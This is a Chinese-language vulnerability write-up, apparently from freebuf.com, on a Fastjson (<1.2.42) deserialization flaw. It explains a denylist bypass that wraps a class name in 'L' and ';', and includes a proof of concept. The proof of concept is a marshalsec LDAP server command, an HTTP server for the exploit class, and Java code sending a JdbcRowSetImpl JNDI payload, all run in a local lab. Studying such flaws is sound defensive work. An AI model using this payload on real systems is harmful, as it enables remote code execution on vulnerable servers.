影响范围:
Fastjson<1.2.42
漏洞成因:
@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。自fastjson<=1.2.24反序列漏洞(CVE-2017-18349)之后,fastjson增加了黑名单校验机制,当类命中了黑名单,程序会异常退出,报错信息如下:
//黑名单如下 this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
跟踪TypeUtils.loadClass函数,发现一个怪异的判断处理逻辑,当类名以L开头且以;结尾,会去头去尾后调用loadclass函数,所以在构建的恶意类名前加一个L、类名后加;即可实现绕过。经过调试发现,要进入此判断函数,还需autoTypeSupport属性为true,但从1.2.25版本开始,autoTypeSupport属性默认为false,故增加了该漏洞的实际利用难度。
(3)漏洞利用—-以下漏洞利用的前提是autoTypeSupport属性设置为true
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777 python -m SimpleHTTPServer 80
public class Test { static { //默认为false,为了满足漏洞触发条件,设置为true ParserConfig.getGlobalInstance().setAutoTypeSupport(true); } public static void main(String[] args) throws SQLException, IOException { String className = "Lcom.sun.rowset.JdbcRowSetImpl;"; String dataSourceName = "ldap://127.0.0.1:7777/any"; String json = "{\"@type\":\"" + className + "\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":true" + "}"; //JDK 8u191及以后,默认为false System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); JSON.parse(json); } }
实现了计算器弹窗。
本文作者:CTCS安全攻防团队 pom
来源:freebuf.com 2021-03-12 10:12:44 by: pomdxd
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册